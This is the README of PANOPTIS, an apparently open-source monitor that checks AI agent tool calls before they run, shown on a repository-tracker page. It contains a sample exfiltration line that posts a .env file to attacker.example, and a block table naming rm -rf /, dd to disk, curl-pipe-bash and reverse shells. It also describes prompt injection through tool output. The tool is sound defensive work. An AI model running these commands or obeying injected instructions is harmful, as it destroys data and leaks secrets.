Skip to content
Projects

Shinraya-Tech-Labs/AgentWatch has 32 GitHub stars and 78 forks. GitHot measured 0 in 7 days and +1 in 15 days. Last checked 2026-11-10 20:09 UTC. Last push 2026-11-05.

How these counts are measured

AgentWatch — Real-time reasoning auditor and observability platform for AI agents. Catches silent failures in your agent's reasoning chain before they execute — not after they break production.

Measured star growth

in 24h
Update delayed
in 7 days
0
in 15 days
+1
in 1 month
Collecting history

Net star changes over overlapping periods, not daily totals. Missing measurements are left blank. Stars measure attention, not software quality.

README.md

Original
Panoptis logo

PANOPTIS

Decide on every AI agent tool call before it runs.

Runtime enforcement and verifiable evidence for autonomous agents. (formerly AgentWatch)

PyPI Python 3.12 License Discord Stars Open In Colab


An agent proposes four things. rm -rf / is blocked and never runs. git push --force asks a human and runs once after approval. ls -la is allowed. An injected line in tool output is removed before the agent reads it.

Try it · How it works · Pipeline · Evidence · Benchmarks · Integrations · Dashboard · Roadmap


⚡ Why this exists

Task:     "Clean up the cache and sync the database"
Reasoning looks confident and well structured.
Action:   DROP TABLE users; curl -X POST attacker.example -d @.env

Logs and traces tell you this happened. They arrive after the table is gone.

An agent acts with its user's privileges while taking direction from whatever it reads, so a poisoned web page, issue or tool result can steer it. PANOPTIS sits between the agent and its tools. It decides on each call before it runs, checks each result before the agent reads it, and can keep tamper-evident evidence of all of it.

Tracing and logging PANOPTIS
When it acts After the tool ran Before the tool runs, and again on its output
A dangerous call Recorded Blocked, or held for a human
Injected tool output Recorded Quarantined before the agent reads it
Audit trail Mutable logs Append-only, Merkle-sealed, independently verifiable

🚀 Try it in 60 seconds

Requires Python 3.12.

pip install panoptis
panopti demo          # terminal attack simulation
panopti playground    # local browser playground

Wrap any Python function:

from panoptis.protect import ActionBlocked, protect_tool

@protect_tool
def execute_system_query(query: str) -> str:
    return db.execute(query)  # never reached for a blocked call

try:
    execute_system_query("DROP TABLE users;")
except ActionBlocked as blocked:
    print(blocked)
execute_system_query: block: [threat:SQL_DROP] DROP TABLE

Injected instructions in a tool's result never reach the agent, and the rest of the result is kept:

Release notes.
[AGENTWATCH: removed a line containing instructions addressed to the model (60 chars)]
Version 2 adds caching.

💡 How it works

One boundary, four steps, shared by every enforcing integration.

An agent proposes a tool call. Inside the enforcement boundary it is decided, run at most once, inspected and recorded. A denied call goes to blocked and the tool never runs. The tool talks to the outside world only in the run step, and the sanitized result returns to the agent.

PANOPTIS has two planes. The enforcement plane (panoptis.protect) makes the decisions. The evidence plane (the v3 Evidence Lab) is passive: it records, seals, compares and replays, and stops nothing.

Enforcing integrations (Python SDK, frameworks, Claude Code, MCP gateway) feed the enforcement plane of pipeline, approvals, emergency stop and output checks. It writes records to the evidence plane of store, Merkle seals, replay and verifier. Both use a shared REST API, dashboard, CLI and storage.


🔐 The decision pipeline

A blocked call never runs, and a failure inside the pipeline blocks too.

Ten steps in order: identity, control, threat analysis, RBAC, loops, intent, human approval when escalated, final stop check, run, inspect output. A block in steps one to six, a denied approval or a tripped stop ends in refused, and the tool body never runs. An unsafe result is withheld or sanitized. Opt-in stages are off by default.

Stopped by default

Each row was run through the default pipeline.

Category Example Result
Destructive files and disks rm -rf / · chmod -R 777 / · dd if=/dev/zero of=/dev/sda Blocked
Remote code execution curl … | bash · wget -O- … | sh · reverse shells Blocked
Database destruction DROP DATABASE · DELETE with no WHERE Blocked
Cloud metadata access http://169.254.169.254/… Blocked
Private network access 127.0.0.1 · RFC 1918 addresses Escalated; blocked with no approval channel
Injected tool output Instruction lines in a result Quarantined

[!NOTE] These are pattern and parser rules, so they catch known forms. Novel encodings and paraphrased injections can evade them. Read what PANOPTIS does not do.


🌲 Evidence you can verify

Editing, reordering or truncating sealed evidence is detected by a verifier that does not need PANOPTIS.

Records are sealed every 200 records or 30 seconds per tenant into hash-chained Merkle segments. The head is anchored outside the store. A standalone verifier takes an exported bundle and the expected head and reports intact, or fails if evidence was edited, reordered or truncated.

from panoptis.protect import ProtectionPipeline, ProtectLedger, protect_tool

pipeline = ProtectionPipeline(ledger=ProtectLedger("sqlite:///evidence.db"))

@protect_tool(tool="bash", pipeline=pipeline, agent_id="coder", session_id="run-1")
def bash(command: str) -> str: ...
panoptis protect evidence verify --store sqlite:///evidence.db
  • Domain-separated Merkle trees prefix leaves with 0x00 and branches with 0x01.
  • Crypto-shredding encrypts subject payloads with AES-256-GCM over committed ciphertext, so erasing a key leaves the proofs valid. Needs panoptis[crypto].
  • Attestation tokens are signed with HMAC-SHA256 or Ed25519.

[!IMPORTANT] Evidence is written only when a ledger is configured. Records are integrity-protected once sealed, and an anchor must live where a store writer cannot change it. See docs/EVIDENCE_INTEGRITY.md.

Shadow replay

Replay a recorded run against a new model without touching the real world. Every tool call is answered from evidence, and the traces are compared.

A replay runner sends each recorded step to the model under test. Its tool actions are answered from recorded evidence and the real world is never contacted. The traces are compared and classified as identical replay, failure reproduced, model diverged, or not enough evidence.


📊 Benchmarks

A decision costs about 0.3 ms at the median, or about 1.5–1.9 ms with durable SQLite evidence.

Latency per path on a log axis. Without evidence recording the median is 0.25 to 0.56 milliseconds. With a SQLite evidence store the median is 1.50 to 1.85 milliseconds, or 5.86 for an approved escalation, with p99 values of about 18 to 60 milliseconds.

Path p50, no evidence p99, no evidence p50, SQLite p99, SQLite
Allow 0.26 ms 0.54 ms 1.55 ms 53.07 ms
Block 0.33 ms 0.46 ms 1.50 ms 59.55 ms
Rewrite arguments 0.31 ms 0.56 ms 1.85 ms 18.06 ms
Sanitize output 0.25 ms 0.58 ms 1.72 ms 17.82 ms
Approved escalation 0.56 ms 0.71 ms 5.86 ms 25.91 ms

Throughput was about 1,900–2,500 decisions per second in one process, across 1, 4 and 8 threads. Disk writes dominate the SQLite tail.

Detection on the synthetic corpus

Threat category Attacks Benign controls Detected False positives Outcome
Dangerous tool arguments 24 12 24 0 Blocked
Secret exposure 4 2 4 0 Half blocked, half redacted
Prompt injection in tool output 7 5 7 0 Sanitized; legitimate content kept
Policy violations (RBAC) 6 3 6 0 Blocked
Loops 4 3 4 0 Escalated
Intent mismatch 7 5 7 0 Escalated

All integrations agree on dangerous arguments: pipeline, protect_tool, MCP gateway, and the 19 attack cases expressible through the Claude Code hook contract.

[!WARNING] Read these numbers with care. The corpus is 82 synthetic cases written by this project, and two real defects it found were fixed before this run. A perfect score shows the rules handle these cases, not that unseen attacks are caught. No external dataset or competitor comparison is involved.

Measured at commit 54ec3de on Python 3.12.4, Windows 11, AMD64 with 16 logical CPUs, in-process with a no-op tool. Full report · method · raw results

python -m benchmarks.protect_eval.run --out benchmarks/results/protect_eval --iterations 300

🔌 Integrations

An integration either enforces before a tool runs or only observes afterwards. panoptis protect support prints the full matrix, and docs/ADAPTER_SUPPORT.md lists every limitation.

Integration Mode Entry point Main limit
Any Python function 🛡️ Enforces protect_tool() Only calls made through the wrapper
Generic agents 🛡️ Enforces watch(agent, protection=...) Only tool-like methods
LangChain tools 🛡️ Enforces protect_langchain_tool Tools must be wrapped before the agent runs them
LangGraph 🛡️ Enforces protect_langgraph_tool_node Tools called outside a ToolNode are not covered
AutoGen 0.4+ 🛡️ Enforces protect_autogen_tool Tool calls only
smolagents 🛡️ Enforces protect_smolagents_agent CodeAgent's interpreter is not a tool call
Claude Code 🛡️ Enforces panoptis protect claude-hook install Hook contract tested; real-CLI test still to run
MCP servers 🛡️ Enforces panoptis protect mcp-gateway Only clients routed through the gateway
CrewAI, OpenAI Agents SDK, AutoGPT, OpenClaw 👁️ Observes panoptis.adapters Records events; stops nothing
Framework callback adapters, CLI agents 👁️ Observes panoptis.adapters Records events; stops nothing

Runtime setup is in docs/adapters/. panoptis protect discover finds local agents and MCP servers and reports which are monitored.


🖥️ Dashboard

Real screens from the security dashboard, driven by real pipeline decisions in the browser test suite.

Security overview for one tenant
Overview. Verdicts and recent decisions for one tenant.
Detail of a blocked decision
Decisions. Why a call was blocked, stage by stage.
A tool call waiting for approval
Approvals. An escalated call waits for its exact action digest to be approved.
Emergency stop active
Emergency stop. New tool calls stop across the deployment.

🧰 Run it for real

Protect an agent
from panoptis import watch
from panoptis.protect import ProtectionPipeline

class Agent:
    def run(self, command: str) -> str:
        return f"ran {command}"

agent = watch(Agent(), session_id="prod-01", protection=ProtectionPipeline())
agent.run("ls")          # runs
agent.run("rm -rf /")    # raises ActionBlocked

Without protection=, watch() applies pattern rules only: no RBAC, loop, intent or approval stages, and no output sanitization.

Enable the opt-in stages
from panoptis.protect import ProtectionConfig, ProtectionPipeline

pipeline = ProtectionPipeline(config=ProtectionConfig.sovereign())

Test this on your own workloads first. These stages are heuristic, and the steganography stage rewrites text in tool arguments, including Markdown line breaks, some Unicode and emoji sequences.

Start the full stack
git clone https://github.com/Shinraya-Tech-Labs/AgentWatch.git
cd AgentWatch
cp .env.example .env   # set AGENTWATCH_API_KEY, POSTGRES_PASSWORD and REDIS_PASSWORD
docker compose up -d
  • Dashboard: http://localhost:3000/security
  • API docs: http://localhost:8000/docs
  • Event stream: ws://localhost:8000/ws/events
CLI reference
# Protection
panoptis protect check "rm -rf /"       # score a command
panoptis protect status                 # verdicts, kill switch, suspensions
panoptis protect decisions              # recent decisions
panoptis protect approvals list         # calls waiting for a person
panoptis protect control --help         # emergency stop and suspensions
panoptis protect doctor                 # diagnose the setup
panoptis protect redteam                # run simulated attacks

# Evidence
panoptis protect evidence verify        # verify chain, roots and envelopes
panoptis protect evidence export --help # export a verifiable bundle

# Forensics
panoptis observe python agent.py        # record an agent run
panoptis inspect latest                 # reconstruct what happened
panoptis compare run_A run_B            # find the first divergence
panoptis replay latest --level L2       # replay from evidence
panoptis session rollback <id>          # restore a filesystem snapshot

🧱 What PANOPTIS does not do

  • It is not a sandbox. It runs in the agent's process or next to it. Use OS or container isolation against code that can modify the agent process.
  • It only sees routed calls. A tool reached another way bypasses it, and observe-only integrations stop nothing.
  • It does not interrupt running tools. An emergency stop blocks new calls and withdraws pending approvals.
  • It does not prove intent. Detection is pattern-based, and intent grounding is a heuristic signal.

Full detail: threat model · claims and their evidence


🧭 Target architecture

[!IMPORTANT] This is where PANOPTIS is going, not what ships today. Execution cells, leases, label-based information flow, the temporal engine and witnessed checkpoints are design targets.

In the end state, agents run without ambient authority, every effect passes one deterministic enforcement kernel, and every decision leaves evidence anyone can verify independently.

Agents reach the world only through the enforcement node. Dashed borders sit outside the trusted base.

Target system architecture. Execution cells send Actions to the enforcement node, which holds the gateways, the sandbox supervisor, the egress proxy, the enforcement kernel, the evidence writer and the control agent. The egress proxy is the only path to the untrusted world. The control plane exchanges evidence, policy, leases and approvals with the node, and independent verifiers receive bundles and signed checkpoints.

What the component numbers mean

(1) agent adapters · (2) execution gateway · (3) identity and authorization · (4) policy engine · (5) temporal engine · (6) information-flow engine · (7) content inspection and advisors · (8) file, process and network sandbox · (9) approval service · (10) emergency control · (11) evidence and verification · (12) tenant-aware storage · (13) API and MCP gateway · (14) dashboard and CLI · (15) deployment and observability

Execution lifecycle: no effect before a durable decision

Only the path down the left column releases an effect, and every failure leaves a record.

The twelve-step lifecycle: propose, normalise, admit, authorize, evaluate state, consult advisors, combine, approve when required, record, execute, observe and verify, inspect and deliver. Failures end in one of four outcomes: refused and recorded; no grant and cell paused; killed and session halted; or result withheld.

Verdicts form a chain, ALLOW < CONSTRAIN < APPROVE < DENY < HALT, and the decision is the strictest verdict with the narrowest grant. Advisors can only tighten a decision, so a manipulated model costs availability, not security.

Information flow: typed, labelled values only

The planner's context stays clean enough to act, and every effect it proposes still passes the flow check.

Untrusted content and secret data go to a quarantined worker with no effect tools. It returns a typed value, whose schema and size are checked, to the planner context. Every effect the planner proposes passes a flow check before reaching egress destinations, tools with effects or other agents.
Emergency governance: one person stops, two people resume

Each scope holds one of these states, and every change raises its epoch. A node whose lease lapses behaves as stopped until a fresh lease arrives.

Control states: running, suspended, locked down, stopped and recovering. One person can stop from any of the first three. Resuming, lifting a lockdown and leaving stopped each take two people, and recovering returns to running once checks pass.
Deployment: one node binary everywhere
Three deployments compared by layer. Workstation: OS cells, panoptisd user service, embedded control plane, SQLite. Self-hosted: OS or VM cells, a node per runner or worker, stateless API replicas, PostgreSQL and object store. Hosted multi-tenant: a VM cell per session, node pools per region, regional control planes, row-level security and per-tenant keys.

🧪 Quality and provenance

The Python suite recorded 3,049 passed and 12 skipped with 83% coverage in CI at commit 81e1fd1.

pytest tests/ -v              # full suite
pytest tests/protect/ -v      # enforcement pipeline

Releases are built in GitHub Actions with build provenance:

pip download panoptis==0.3.1 --no-deps -d check/ && cd check
gh attestation verify panoptis-0.3.1-py3-none-any.whl --repo Shinraya-Tech-Labs/AgentWatch

🤝 Contributing

PANOPTIS is developed in the open, and contributors get their name on the project's contributors wall after their first merged PR.

Five steps: discuss on Discord or in an issue, get assigned, build and test, open a PR, merged.

We mentor new contributors through SSOC 2026 and NSOC 2026. Start with CONTRIBUTING.md.


Licensed under the Apache License 2.0 · Built by Shinraya Tech Labs and contributors

⭐ Star the repo · 🐛 Report an issue · 💬 Join Discord

Explore related projects